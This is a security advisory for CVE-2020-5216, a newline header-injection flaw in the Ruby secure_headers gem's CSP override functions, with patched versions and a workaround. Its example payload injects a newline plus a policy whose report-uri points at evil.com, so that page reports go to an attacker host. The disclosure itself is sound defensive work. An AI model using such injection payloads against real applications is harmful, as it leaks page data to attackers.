Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc5Nzgtcm1wZi1xbXdn

Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 

would result in

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 

Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header

Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

Workarounds

override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])

References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
The effect of multiple policies

For more information

If you have any questions or comments about this advisory:

• Open an issue in this repo
• DM us at @ndm on twitter

Permalink: https://github.com/advisories/GHSA-w978-rmpf-qmwg
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc5Nzgtcm1wZi1xbXdn
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 5 years ago
Updated: over 1 year ago

CVSS Score: 4.4
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N

EPSS Percentage: 0.00099
EPSS Percentile: 0.41959

Identifiers: GHSA-w978-rmpf-qmwg, CVE-2020-5216
References:

• https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
• https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0
• https://nvd.nist.gov/vuln/detail/CVE-2020-5216
• https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml
• https://github.com/advisories/GHSA-w978-rmpf-qmwg

Repository: https://github.com/twitter/secure_headers
Blast Radius: 12.8

Affected Packages